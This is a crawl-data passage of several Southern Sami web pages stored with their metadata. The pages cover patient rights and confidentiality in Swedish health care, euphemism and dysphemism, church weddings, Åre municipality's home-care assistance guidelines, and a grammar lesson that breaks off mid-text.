hijven jis dutnjien damtoes. Dov lea reakta bïevnesh åadtjodh maam guarkah dov healsoen jïh goerehtimmie- jïh gïetedimmievuekiej bïjre. Datne edtjh aaj bïevnesh åadtjodh gusnie maahtah klååkedh.\nHokse jïh gïetedimmie gelkieh dan guhkies goh nuepie haamoedidh jïh tjïrrehtidh patientine ektiedidh. Muvhtene dov lea aaj reakta dov skïemtjelassem digkiedidh jeatjah dåakterinie jïh mubpie goerehtimmiem åadtjodh (maam gohtje second opinion). Gosse ovmessie gïetedimmiealternatijvh gååvnesidh dellie datne nænnosth, jis ih leah jïjtje veeljeme dïedtem vedtih dïsse gien medisijneles dïedtem lea.\nDov lea reakta nyöjhkedh faaleme gïetedæmman jïh gïetedimmiem galhkedh. Ij oktegh maehtieh datnem tjabrehtidh skïemtjegåatan vuelkedh, desnie årrodh jïh datne maahtah skïemtjegåeteste vuelkedh gåessie datne sïjhth. Ij maehtieh datnem tjabrehtidh medisijnem vaeltedh. Journalesne gaajhkh bïevnesh dov hoksen bïjre maam åadtjoeh tjaeledh.\nBarkijh tjuerieh sjaavods dov bïjre årrodh\nGaajhkh barkijh healsoe- jïh skïemtjehoksesne tjuerieh sjaavods dov bïjre årrodh. Prinsipeles ij naan bïevnesh patienten persovneles tsiehkiej, dan skïemtjelassen jïh gïetedimmien bïjre åadtjodh vedtedh jeatjah persovnasse jallh skïemtjehoksesæjjan jis ij patiente dïsse luhpehth. Gaajhkh bïevnesh patientejournalisnie lea sekretesselaaken nuelesne. Ajve barkijh gieh dov såjhtojne jïh gïetedimmine berkieh åadtjoeh dov journalem lohkedh.\nJis patiente jeatjah hoksevedtijasse jåhta maahta muvhten bïevnesh daerpies dïsse vedtedh hoksen jallh gïetedimmien bïjre maam vadtasovvi.\nJis datne maam akt mïelh dan bïjre jallh jis vïenhth ih dov reaktah vaarjelh, bïeljelh jïh desnie raeriem jïh viehkiem patientnämndens kansli (patientemoenehtsen kanslije) åadtjodh.\nAaj patientemoenehtsen politihkerh jïh barkijh tjuerieh sjaavods årrodh.\nSidansvarig:Gun Råberg Kjellerstrand, tel: +4663147737, e-post: firstname.lastname@example.org.\nHittar du fel eller har synpunkter på innehållet, meddela\nSenast uppdaterad 2012-10-22.","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/jll.se\/omoss\/informationpaandrasprak\/aarjelsaemiesame\/njoelkedasshjihreaktahdutnjiengohpatientereglerochrattigheterfordigsompatient.4.60018e7312debfe732b80009784.html","date":"2017-03-23T08:13:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218186841.66\/warc\/CC-MAIN-20170322212946-00046-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":1.0000008345,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000008344650269}","num_words":252,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.127,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Eufemisme jïh dysfemisme\nEufemisme\nJis ibie maam akt halke jiehtieh dellie eufemismem nuhtjebe. Maehtebe eufemismem nuhtjedh gosse jaememen, dåaroen jïh skïemtjelassi bïjre soptsestibie. Daaroen gïelesne joekoen sïejhme eufemismem nuhtjedh, men mijjieh aaj maehtebe eufemismem nuhtjedh gosse saemiestibie jallh tjaelebe.\nVuesiehtimmieh:\nGosse gie akt sealadamme dellie maehtebe jiehtedh:\nÅarjel-saemieh aaj sjeavehts gïelem utnieh. Båeries vuekien mietie gosse gie akt edtji dïjredidh gie akt sealadamme, dellie marngoeh gaptine jïh tjohpine veedtsi. Dellie gaajhkesh deejrin mejnie dïjrine bööti. Dan vuekien mietie aarpije maahta marngoeh tjohpine jïh\/jallh åemie geellen voedtegh nuhtjedh mij vuesehte dïhte aarpije.\nDysfemisme\nGosse mijjieh gïeleviehkie-dïrregem dysfemisme nuhtjebe dellie mijjieh dïebles baakoeh nuhtjebe gosse tjaelieminie. Dysfemismh maehtieh naan aejkien luste årrodh.\nVuesiehtimmieh:\nDaan biejjien mijjieh baakoem \"negere\" voerkesjibie goh akte dysfemisme, jïh ibie dam baakoem nuhtjh. Baakoeh \"lapp\" jïh \"finn\" aaj dysfemisme, jïh ibie mijjieh saemieh iktegisth daejtie baakojde lyjhkh.\nDysfemismh maehtieh eufemismh sjïdtedh – jïh båastoeh-laakan.\nOv-neebneme sijjie\nBaakoe \"toalett\" lea akte baakoe mij åvtesne lij akte \"tjaebpies\" baakoe Nöörjesne, jïh daelie sïejhme daam baakoem nuhtjedh. USA:sne eah almetjh tuhtjh baakoe \"toilet room\" tjaebpie, daelie dah aalkeme baakoem \"restroom\" nuhtjedh.\nMijjieh baakoeh nuhtjebe goh onne-gåetie jallh ohtje-gåetie. Aarebi jeehtimh bajhke-gåetiem, movreh-gåetiem jallh boetskes-gåetiem. Daelie ibie daejtie baakojde provhkh juktie daah baakoeh eah leah vielie \"tjaebpie\".\nMaam datne jeahtah?\nonne-gåetiem?\nohtje-gåetiem?\nbaajhke-gåetiem?\nboetskes-gåetiem?\nmovreh-gåetiem?","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/ndla.no\/nb\/node\/157531?fag=126960","date":"2017-03-26T23:12:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218189313.82\/warc\/CC-MAIN-20170322212949-00228-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":0.9999935627,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"sma_Latn_score\": 0.9999935626983643}","num_words":212,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.08,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aalkoste daate vuesehte dïedtem nyjsenæjjeste daelie aehtjebistie ålmese vadta jïh lea dej beelijste gosse nyjsenæjjan ij naan reaktah. Muvhth hearrijste dellie maehtieh nïejhkedh aehtjebe provresem aalhtarasse vaedtsehte. Sveerjesne vuekie provresalmetjh ektesne vaedtsiejægan, dïhte vuesehte nyjsenæjja jïjtje altese ålmam veeljeme jïh ålma jïjtje altese nyjsenæjjam veeljeme jïh gåabpatjahkh sinsitniem veeljeme provrese vaedtsedh.\nOvmessie vuekieh\nSveerjesne libie jïjnjem amerihkan kultuvreste lööneme gosse pruvredh. Dam vuajnah provresalmetji vaajtelimmeste guktie dïhte provre edtja årrodh. Gallesh gihtjieh mejtie aehtjebe provresem maahta aalhtarasse vaedtsiehtidh. Ij mij Svïenske gærhkosne dam vuekiem nyrhte, læjhkan maahta ussjedidh maam daate sæjhta vuesiehtidh.\nProvresalmetjidie mejtie fuehpesne hijven naemhtie ånnetji raaffalgovvedh jïh gaajhkh åssjalommesidie provren bïjre luejhtedh jïh ussjedidh mannasinie sinsitnine pruvrijægan. Hearrese buerie naemhtie provresalmetjigujmie buerebe åahpenidh jïh buerie gosse provrese edtja håalodh. Soptsestallemem maehtieh gærhkosne jallh provresalmetji gåetine utnedh. Gosse gåetine soptsestellieh aaj mænngan gærhkosne tjåanghkenieh soptsestidh guktie provrem desnie juhtiehtidh.\nProvren bïjre soptsestalledh\nGosse gærhkosne pruvredh provren åvtelhbodti soptseatalledh, dellie provresalmetjh jïh hearra raeriestieh guktie provre edtja årrodh. Mij teekstide veeljedh, guktie dåajvoeh edtjieh årrodh, gie dam dorje jïh gåessie? Hearra aaj provhkoe gihtjedh guktie jïh gåessie provresalmetjh sinsitnide gaavnesjigan, maam utniejægan joekoen sinsitnine, maam provhkijægan ektesne darjodh.\nBuerie nuepieh gååvnesieh provregyrhkesjimmiem jïjtshligkie darjodh. Muvhth provresalmetjh sijhtieh jïjtjene dåajvoeh tjaeledh, sinsitnide laavlodh jallh mij akt jeatjah jïjsthligkie darjodh. Læjhkan dïhte gyrhkesjimmie dennie maadtosne, gusnie aavoedieh jïh gijhtieh jielemen jïh gieriesvoeten vadtesijstie dovne provresalmetjidie jïh guesside.\nGosse gærhkosne pruvredh dïhte akte gyrhkesjimmie mij ræjhkoes jïjnjh vuekine. Jupmelen jïh gaajhkh vïhnegi nommesne sinsitniem dåajvoehtibie gieriesvoetem vaarjelidh jïh sinsitnien baalte abpe jielemem tjåadtjodh. Jupmelem gihtjebe mijjen ektievoetem buerie sjugniedidh jïh mijjem gaajhkh dåeriesmoeri tjïrrh viehkiehtidh mah mijjen jieliemisnie båetieh.","id":"","dump":"CC-MAIN-2017-17","url":"https:\/\/www.svenskakyrkan.se\/provre-","date":"2017-04-28T10:20:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917122933.39\/warc\/CC-MAIN-20170423031202-00323-ip-10-145-167-34.ec2.internal.warc.gz","language":"sma","language_score":1.0000036955,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"sma_Latn_score\": 1.000003695487976}","num_words":267,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.126,"stopwords_ratio":0.082,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Byjjehtimmieh viehkievierhtiedämman guktie sosialedïenesjelaake hïejmesåjhtosne Ååren tjïeltesne lea\nByjjehtimmide edtjieh goh dåarjegem gïetedallijine viehkienännoestimmeste årrodh. Byjjehtimmide edtjieh tjirkedh ahte tjïelten almetjh seammalaakan gïetedallen seamma gïe gïetedallije lea jih aaj buerkiestidh staaten otnegasse\/utnijasse mij dåarjegem maahtah hïejmesåjhtoste Ååren tjïeltesne vuertedh guktie viehkievierhtiedimmie darjomh sosialedïenesjelaakeste lea.\nByjjehtimmide leah\n1. Hoksehtimmiedïenesjh\n2. Jïjtjen såjhtoem\n3. Beapmoehoksehtimmie\n4. Jearsoesvoetelarme\n5. Virtiehtäjjahoksehtimmie\n6. Sjïere årromesijjem\n7. Dåarjegem lïhkesadtjide\n8. Årromedåarjegem\n9. Viehkehts dïenesjem\nSosialedïenesjelaaken njoelkedassh viehkien bïjre\nReaktam viehkien mietie sosialedïenesjelaakesne nännoste. Dïhte mij ij jïjtje maehtieh daerpiesvoetide öörnedh jallh maahta dejtie jeatjhlaakan öörnedh, reaktah viehkien mietie sov jielemasse åtna. Viehkiem edtja darjodh ahte almetjem buerie jielemem åådtje jih edtja almetjen nuepiem nännoestidh ihke jïjtjemesejielemem tjirkedh. Reaktah viehkien mietie leah gaajhkide mah tjïeltesne årroeminie. Guktie sosialedïenesjelaakesne tjåådtje edtja iktesth akten syökemem pryövedh guktie jïjtsh daerpiesvoete lea.\nByjjehtimmesne tjåådtje mij vuekie fïerhtene barkose Ååren tjïeltesne lea.\nAkten individuelle pryövemem maahta årrodh ahte nännoestimmiem jeatjahlaakan sjädta guktie byjjehtimmesne tjåådtje jis sjïere sjieken mietie lea. Ahte jeatjahlaakan lea maahta barkoem årrodh mij laevehtamme lea stuerebe jallh unnebe guktie vuekie byjjehtimmesne lea. Nannoestimmiem edtja ektievoetine årrodh ihke almetjh seamma daerpiesvoetigujmie åadtjoeh seamma jïjnje barkoste.\nGuktie provresbalkesne tjåådtje, provresealmetjh\/ektiejielijh dïedtem gåetesne ektievoetesne utnieh. Dïhte lea naemhtie ahte akten gåetieguntesne gusnie jienebh almetjh goh utnijem, fïerhtene almetjem dïedtem åtna sov bïehkiem gåetiegunteste vaeltedh. Jis maanah gåetieguntesne lea, naemhtie lea ahte dejtie jïjtjte sov tjïehtjelijstie jih tjåenide dïedtem vaeltieh, 14 båeries jaeapeste.\nViehkienännoestimmiem\nViehkiem mah nännoestamme guktie sosialedïenesjelaakesne tjåådte viehkienännoestimmesne deadta. Nännoestimmiem maahta ikthvielie pryövedh, jis daerpiesvoete jeatjahtåvva jallh gosse mij jeatjah jeatjahtuvvieh. Bene jis ij viehkiegïetedallijem govleme ahte mij jeatjahtovveme nännoetimmiem ikthvielie pryövoen, hoksehtimmiebarkoen, jearsoesvoetelarmen, beapmoehoksetimmien bïjre jih dåarjegem lïhkesadtjide jih årromedåarjegidie, sïejhme akten aejkien fïerhten jaepien.\nAlmetjidie mah stoerre såjhtoedaerpiesvoetem utnieh mah vierhtehten maehtien jeatjahtovvedh, akten jåerhkemem eannan 2 askh vaaseme, nännoestimmiedaatoen männgan jih dan männgan fïerhten jaepien.\nViehkiegïetedallijem nännoestimmiem vaalta mij darjomem syökije reaktam åtna åadtjodh. Nännoestimmiem syökijasse seedtien. Viehkiegïetedallijem edtja seamma aejkesne nännoestimmine tjirkedh ihke dïhte akte lea guarkeme mij barkoeh dïhte edtja åadtjodh jih aaj bïevnedh guktie gaskesadtemem barkoealmetjistie vaeltien.\nJis almetje ij leah reaktah barkoste mij syökeme tjaaleldh nännoestimmiem nyöjhkemen bïjre vedtien. Nyöjhkemem maahta aaj vedtedh goh bïehkiem syökijistie naemhtie ahte barkoem ij nännoste dan jïjnje guktie syökije vaajtelamme. Mannasinie nyöjhkemem åådtjeme maahta årrodh ahte viehkiem maahta giejstie jeatjah åadtjodh, jallh ahte syökijem lea barkose mah jienebh goh reaktah leah guktie sosialedïenesjelaakesne tjåådtje.\nViehkienännostimmien bïjre maahtah reeremereaktese laejhtedh. Viehkiegïetedallijem edtja bïevnedh guktie laejhtedh gosse nännoestimmiem vaadta. Jis almetje hujnesne sjädta gåessie nännoestimmiem vuajna edtja viehkiegietedallijem viehkiehtidh nännoestimmiem laejhtedh jis sïjhth.\nGïetedalleme jih jaksoesvoete\nViehkiegïetedallijem lea telefovnen tjïrrh jaksoes, akten boelhkem fïerhten öörhtje-biejjiem. Daaletje telefovnboelhkh Ååre tjïelten vikselen tjïrrh vadta jallh hïejmesijjesne gaavnh www.are.se \/omsorg & stöd.\nSalkehtimmieboelhkem, prosessem syökemistie gosk nännoestimmiem dïedteme edtja varki darjodh.\nSyökemen männgan viehkiegïetedallijem gaskesadtem vaalta eannan göökte barkoebiejjh vaaseme. Jis dallah daerpiesvoeth såjhtoste åtna, maahta nännoetimmiem vaeltedh eannan akte barkoebiejjie vaaseme. Jeatjah gaavhtan salkehtimmieboelhke sïejhme golme våhkoeh lea.\nIhke daerpiesvoetem viehkien mietie salkehtidh viehkiegïetedallijem akten hïejmemïnnemem dorje. Seamma aejkesne goh skïemtjegåetesne lea, maahta akten skïemtjesåjhterem gaskesadtem viehkiegïetedallijinie vaeltedh jis orre jallh jeatjah daerpiesvoeth gååvnesieh gåessie gåatan vuelkedh.\nSååjhtoerååresjimmiem lea ahte gaskesadtemem lea vaalteme gaskoeh almetjinie, lïhkesadtjine, buerieålmine, viehkiegïetedallijinie jih skïemtjegåetiebarkijigujmie, telefovnen tjïrrh jallh tjåangkosne råakeme. Salkehtimmesne barkoedaerpiesvoeten bïjre viehkiegïetedallijem aaj jienebh bïevnesh daarpesjh. Dïhte maahta bïevnesh dåaktereste jallh jeatjah såjhtoebarkijijstie årrodh. Jis dagkeres tsiehkiem sjädta tjuara almetjem daam jååhkesjidh.\nSyökije jeatjah tjïelteste\nAktem almetjem mij lea båeries jallh ov-vervesne lea jih såjhtoedaerpiesvoetem åtna jih säjhta jeatjah tjïeltese juhtedh edtja viehkien mietie dennie tjïeltesne syökedh gåabph säjhta juhtedh. Tjïelte mij syökemem pryövoen ij åadtjoeh krööhkestidh ihke daerpiesvoetem maahta tjïeltesne öörnedh gusnie almetje daelie årroeminie.\nGåessie aktem almetjem mij jeatjh tjïeltesne årroeminie säjhta vïehkien mietie syökedh Ååren tjïeltesne lea naemhtie:\n- Almetjem aktem syökemem viehkien mietie laahpa gåetesne jallh sjïere gåetieluhpesne.\n- Bïhkedimmiem salkehtimmien mietie hïejmetjïeltese seedtien.\n- Gåessie viehkiegïetedallijem hïejmetjïelten salkehtimmiem vuajneme, akten salkehtimmiem jih dööpmemem viehkiegïetedallijistie Ååren tjïeltesne darjoen.\nDokumetasjovne\nGaajhkide gïetedallijidie ierijste mah almetji bïjre, jih darjomem nännoestimmeste jih barkoste guktie sosialedïenesjelaakesne tjåådte edtja dokumenteredh. Dokumentasjovne edtja vuesiehtidh mah nännoestimmieh jih barkoeh mah ieresne dorjeme, jih heannadimmieh mah vihkeles daejredh. Paehperh mah almetji bïjre edtjieh vöörhkedh guktie eah geah jeatjah maehtieh dejtie vuejnedh. Almetje tjuara åadtjodh daejredh man bïjre tjaaleme. Jis dïhte almetje tuhtjie mijakt dokumentasjovnesne båajhtode lea, edtja daam tjaeledh. Iktesth viehkiegïetedallijem mij deadta maam edtja tjaeledh.\nSalkehtimmiem jallh notaatem edtja ajve daan bïjre årrodh mij lea vïhkeles ierien gïetedallijasse.\nHoksehtimmiedïenesjh\nHoksehtimmiedïenesjidie edtjieh fïerhten beajjetje jielemem aelhkieslaakan darjodh, jearsoesvoetem bueriedidh jih nuepiem vedtedh gåetesne åadtjodh årrodh jih hokseårromesijjesne årrodh. Barkojde edtjieh almetjem nännoestidh ihke jïjtje buektedh jieledh\nHoksedïenesjimmesne lea sjeakomem, bïssemem jih åesiestimmiem. Hoksehtimmiedïenesjem jijnjemes gaektsie täjmoeh fïerhten asken åådtje. Jis daerpiesvoete stuerebe jallh gaektsie täjmoeh fïerhten asken viehkiegïetedallijem sjïere pryövemem darjoeh jih nännoestimmiem daan bïjre.Utnije dïhte mij eajhnadåvva magkerh hoksehtimmiedïenesjh dïhte daarpesjh jih man gellieh täjmoeh fïerhten askese soejkesjidh jih gie edtja barkojde darjodh. Rååresjimmiem jih darjomem hoksehtimmiedïenesjidie edtja utnijen darjomesoejkesjimmesne dokumenteredh. Darjomesoejkesjimmiem edtja utnijen jih darjomen ektesne darjodh.\nUtnije edtja jïjtje dïrregh öörnedh hoksehtimmiedïenesjidie, vuesiehtimmien gaavhtan sjeakomedïrregh jih sjeakomedalhketjh, bïssememaasjina, bïssemejaavvoeh jih jïenebh.\nJïjtsh såjhtoem\nJïjtsh såjhtoem edtja fïerhten beajjetje jielemem aelhkieslaakan darjodh, jearsoesvoetem bueriedidh jih nuepiem vedtedh ihke åadtjodh gåetesne jih hoksehtimmieårromesijjesne årrodh. Barkojde edtjieh fysijhken, psykijen jih sosialen daerpiesvoetide jih almetjem nännoestidh ihke jïjtje buektedh jieledh.\nJïjtsh såjhtoem lea darjomh ihke jïjtsh hygienem öörnedh, vaarjoeh tsaekedh jih noeledh, juhtemem, dåarjegem beapmoebuertien lihke, geehtememïnnemem, hoksesjeakomem jih vaedtsemh.\nJïjtsh såjhtoem maahta abpe dygnem laeviehtidh guktie daerpiesvoete lea,\ndarjomh ihke jïjtsh hygienem öörnedh, vaarjoeh tsaekedh jih noeledh, juhtemem, dåarjegem beapmoebuertien lïhke, geehtememïnnemem, hoksesjeakomem jih vaedtsemh.\nBarkosne dåarjege beapmoebuertien lïhke, lea viehkiem buertiem dealodh, bahkedidh jih beapmoem hoksehtidh, lihtieh bïssedh jih dåarjegem gosse byöpmedidh. Aeredsbeapmoeh, svarkeldahkh, iehkedsbeapmoeh jih aelhkie maalestahkh jurjiehtidh guktie daerpiesvoete lea.\nBarkoem vaedtsemh, jïjtsh såjhtojne nännoste. Barkoem edtja almetjem nuepiem vedtedh olkese båetedh, fysiske jih sosialen darjomidie. Jis daerpiesvoete lea, viehkiem aaj gåårvedidh jih vaarjoeh noeledh, barkosne lea.\nGeehtememïnnemem seamma aejkesne deadta goh jeatjah hoksedarjomh, goh aajne mïnnemem jallh telefovnesoptsestimmiem.\nBeapmoehoksehtimmie\nLaehpemem beapmoste mah jurjiehtamme aktem hoksen mah maehtieh faaledh goh viehkiem. Daate lea numhtie ahte dongkemen männgan, beapmoeh beapmoeaeskesne gåatan åadtjoe. Nuepiem aaj sjïere beapmoeh åadtjodh maehtien almetjidie faaledh jis daerpies.\nJis daerpiesvoete viehkien mietie beapmoej lïhke lea, dam laevehten goh jïjtsh såjhtoebarkoem.\nGoh voeresalmetje Ååren tjïeltesne, nuepiem gååvnese gaskebiejjiebeapmoem ovmessie tjïelten sjïere årromesijjide byöpmedidh.\nJearsoesvoetelarme\nJearsoesvoetelaarme maahta goh viehkiem vedtedh gosse almetje ovjearsoes sov årromesijjesne domtoes jallh aehpie åtna viehkien mietie tjårvedh. Jearsoesvoetelarme almetjem nuepiem vaadta hïejmesåjhtoen barkijh abpe dygnesne gaskesadtedh. Boelhkem goske hïejmesåjtoen barkijijste båetieh maahta gellielaaketje årrodh, man guhkiem almetjen årromesijjeste hïejmesåjhtoen dåehkitjïehtjelasse lea.\nIhke jearsoesvoetelarme åadtjodh aktem telefovneabbonemanngem daarpesjh jih aaj ahte almetje guelmiem tjoevtenjistie\/tjoevtenjijstie mah daerpies ihke gåatan buektedh tjaangedh jallh krïebpesjem tjoevtjenjeloeves hïejmedïenesjem jååhkesje, dajvide gusnie daam daajroehtamme.\nVirtiehtimmiehoksehtimmie\nVirtiehtimmiehoksehtimmie akten jïjtsh öörneme hoksem lea mij edtja jijtse dorjemem årrodh jih edtja almetjasse aelhkebe darjodh meatan ålkone gåeteste årrodh. Virtiehtimmiehoksehtimmie maahta årrodh ahte almetje maahta ålkone jeatjah almetjigujmie årrodh, voelpi gåajkoe mïnnedh jih aaj meatan eejehtalleme- jih kultuvredarjomisnie årrodh.\nVirtiehtimmiehoksehtimmiem vedtien jijnjemes 8 täjmoeh fïerhten aejkien. Barkoem Virtiehtimmiehoksehtimmie åasehts lea.\nSjïere årromesijjem\nUlmiem sjïere årromesijjine lea ahte årromesijjem edjta faaledh gusnie såjhtoem jih hoksehtimmiem abpe dygnem almetjidie mah daerpiesvoete, ij leah vielie maehtieh jïjtjedh årromesijjesne öörnedh.\nEannan sjïere årromesijjem vedtien edtja barkoeh sïejhme årromesijjesne pryövedh jih digkiedidh.\nAlmetje edtja buektiedidh abpe jielemem aajmene årrodh.\nÅåren tjïeltesne maehtien daejtie sjïere årromesijjide faaledh.\n- Hoksehtimmiegåetieluhpieh almetjidie mah daerpiesvoeth jearsoesvoeteste utnieh jih lïhkevoete barkijidie abpe dygnem utnieh. Jïjtsh såjhtoem, hoksehtimmiedïenesjh jih beapmoehoksehtimmie deadta goh viehkiem jïjtsh dïgkiedimmeste. Jis daerpiesvoetem hïejmeskïemtjesåjhtoste gååvnese, legitimereme barkijijstie deadta.\n- Dåehkieårromesijjem almetjidie mah stoerre såjtoedaerpiesvoetem utnieh jih almejtjidie demenseskïemtjine. Barkosne dåehkieårromesijjesne lea almetjen jïjtse daerpiesvoeteste, dåarjegem jïjtse såjhtoste, hoksehtimmiedïenesjh, beapmoeh guktie tjïelten beapmoeöörnege lea jih aaj hïejmeskiemtjesåjhtoem.\n- Åenehkstijjeårromesijjem almetjidie mah annjebodts daerpiesvoetem dåarjegistie jih såjhtoste utnieh jih ij maehtieh sïejhme årromesijjesne öörnedh, vuertiemisnie sjïere årromesäjjan jih goh viehkiem lïhkesadtjide. Åenehksårromesijjesne lea guktie almetjen jïjtse daerpiesvoete lea, dåarjegem jïjtse såjhtojne, hoksehtimmiedïenesjh, maalestahkh guktie tjïelten beapmoeöörneme lea jih aaj hïejmeskïemtjesåjhtoem.\n- Dïhte mij sjïere gåetieluhpiem åådtje nuepiem utnieh jïjtje årromesijjem vaajtelidh guktie säjhta. Ij leah dïhte dïedtem åenehkstijjeårromesijjen bïjre. Jis almetje aktem årromesijjem vaajtele mij ij naan sijjem dïhte maahta jïjtse årromesijjesne sov sijjem vuertedh jallh jeatjah årroemsijjem veeljedh gusnie sijjem lea, jih desnie vuertedh gosk sijjem gååvnese gusnie vaajtelamme.\n- Gosse vaenieh årromesijjh leah dah voestegh faalen mah stööremes såjhtoedaerpiesvoetem utnieh, olkese skïemtjegåeteste edtja tjaeledh jallh åenehkstijjesijjem åtna. Daejtie kriteride eah leah vuerpieöörnegisne bene viehkiegïetedallijem aktem aajne dööpmemem fïerhtene almetjasse dorje. Jis jienebh goh akte almetjem seamma daerpiesvoetem utnieh, edtja nännoestimmiedaatoem stuvredh.\nDåarjege lïhkesadtjide\nDåarjege lïhkesadtide lea ihke aelhkebe sjïdtedh almetjidie mah aktem lïhkesadtjijem huksieh mah guhkies maadtan lea jallh voeres jallh mij aktem lïhkesadtjijem dåvta mah ov-verviem åtna. Dåarjege lïhkesadtjide Ååren tjïeltesne lea barkojde viehkiem gåetesne, åenehkstijjeårromesijjem jih lïhkesadtjedåarjegem. Daerpiesvoetem daejstie barkoste salkehte jih viehkiegïetedallijistie nännoste.\nMålsomem gåetesne\nUlmiem daejnie, målsomem gåetesne lea ahte lïhkesadtjide edtjieh nuepiem utnedh meatan darjomigujmie ålkone gåeteste, voelph- jih åehpiesalmetjigujmie gaskesadtemem utnedh, ieride darjodh jih naemhtie jielemem seammalaakan utnedh. Barkijh hïejmesåjhtoste annjebodts såjhtoem gåetesne vaeltieh. Målsomem gåetesne bäjjese gosk 10 täjmoeh fïerhten askesne åasehts lea. Dan männgan sjädta guktie tjïelten taaksa jih åasah hïejmesåjhtose lea.\nÅenehksårromesijjem\nÅenehksårromesijjem maahta laeviehtidh goh barkoem ihke lïhkesadtjide mij aktem lïhkesadtjijem håksa edtja nuepiem vedtedh lïegkedämman jih rekreasjovnese. Åenehksårromesijjem laevehte jijnjemes göökte våhkoeh fïerhten asken.\nÅenehkstijjeårromesijjem gusn´akt Ååren tjïelten sjïere årromesijjide faalen. Barkosne lea tjïelten taaksa jih åasah hïejmesåjhtose.\nLïhkesadtjedåarjoem\nLïhkesadtjedåarjoem maahta laeviehtidh disse mij akten lïhkesadtjijste gåetesne hoksen. Lïhkesadtjedåarjoem laevehten maaksoem goh 2140 kr fïerhten asken. Ij leah skaehtehts jih olkese maeksien disse mij såjhtoem åådtje. Dåarjoem lea ajve almetjidie mah Ååren tjïeltesne tjaaleme jih årroen.\nLïhkesadtjedåarjoem maahta laevehtidh seamma aejkesne gåessie utnije viehkiem åtna goh hoksehtimmiedïenesje jih jïjtse såjhtoem. Ihke lïhkesadtjedåarjoem åadtjodh edtja jïjtse såjhtoedaerpiesvoetem stoerre jih iktesth årrodh jih aaj unnemes 5 täjmoeh\/dygnesne årrodh. Dïhte mij håksa edtja seamma gåetieguntesne årrodh, ij åadtjoeh lïhkesadtjebarkosne årrodh, barkoem utnedh goh personlig assistente jallh gïetskesalmetje beetnegh tjïrkemekasseste. Dïhte mij håksa edtja voeres jallh aarehvoeresbeetnegh åadtjodh.\nÅrromedåarjegem\nBarkoem årromedåarjegem lea almetjidie mah psykijen ov-vervesne leah jih daerpiesvoetem utnieh sosialen dåarjegistie guktie sosialedïenesjelaakesne tjåådtje, tijjedïedteme lea jih jïjtjese dorjeme. Årromedåarjegem edtja darjodh numhtie ahte almetje dåarjegem åådtje ihke dej sïejme öörhtjebiejjem buektedh, dïhte maahta dåarjegem jïjtse såjhtojne årrodh, gåetien hokse, åesiestimmiem jih sosialen darjomh. Årromedåarjegem edtja nännoestidh jih almetjem lieredh aktem jïjtse jielemem utnedh.\nBarkoem årromedåarjegem åasehts lea.\nViehkehtsh dïenesjimmie\nDïenesjimmie goh lopmebaelemem, moeregaertenebarkoeh jih aelhkebe moeregaertenebarkoeh jeatjah barkijh darjoeh. Daejtie dïenesjimmijde eah naan viehkienännoestimmiem vedtien. Åasam dïenesjimmide maeksien guktie barkijen åasa lea.","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/are.se\/kommunpolitik\/samiska\/byjjehtimmieh","date":"2017-04-29T15:35:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917123530.18\/warc\/CC-MAIN-20170423031203-00191-ip-10-145-167-34.ec2.internal.warc.gz","language":"sma","language_score":0.9999983311,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"sma_Latn_score\": 0.9999983310699463}","num_words":1691,"character_repetition_ratio":0.084,"word_repetition_ratio":0.006,"special_characters_ratio":0.125,"stopwords_ratio":0.108,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Seerkeme-baakoeh\nDaennie sæjrosne maahtah lohkedh guktie saemien-gïelen joekoen vuekie seerkeme-baakoeh nuhtjedh. Maahtah aaj lohkedh dej joekehtsi bïjre saemien jïh daaroen gïeli gaskem.\nLohkh tjaalegem jïh darjoeh laavenjasside.\nMijjen giele\nMijjen saemien giele darhke. Muvhtide diejvesidie dan jijnje baakoe guktie gellielaakan maahta aktem mubpeste jih gåalmedem njealjadistie joekehtehtedh. Muvhten aejkien jis maahta aktine jallh gøøktine baakojne jiehtedh maam jeatjah gielesne lij tjoereme jijnji baakoej sijse giebredh.\nGuktie dihte mijjen baakoe: Buaredh. Oksem rihpesth jih olkese vuertesjh jih jeahtah, buaredh. Dellie daaroen tjoeverh govhte baakoeh jiehtedh aerebi goh buektehth laadtan jallh rovkijese boejhkelidh: Det er pent vær i dag. Jis leah maam ussjedamme darjodh, dle maahta govledh mejtie ussjedh varki darjodh, jis jeahtah edtjh, bovresne vaedtsielidh, dellie daejribie ih guht man guhkiem gaatoeh. Mohte jis jeahtah edtjh bovresne minnedh, dle daejribie maahtah abpe biejjiem gaatodh. Gihtjh jeahtah man guhkene dihte dov bovre.\nSeamma laakan aktede baakoste maahta govledh mejtie gie maam ikth dorje, njulhtjie, vuj gellien aejkien, njolhtje. Dovne man varki, jis njulhtjeste, jallh man gellien aejkien varki njolhtjestalla. Gaajhkem dagkerem lij daaroen tjoereme jijnji baakoej gujmie bihkedidh.\nJaahkenelkien Aanna1\n1. laavenjasse\nOhtsedh gaajhkh dah seerkeme-baakoeh tjaalegisnie. Tjaelieh aaj dej seerkeme-baakoej 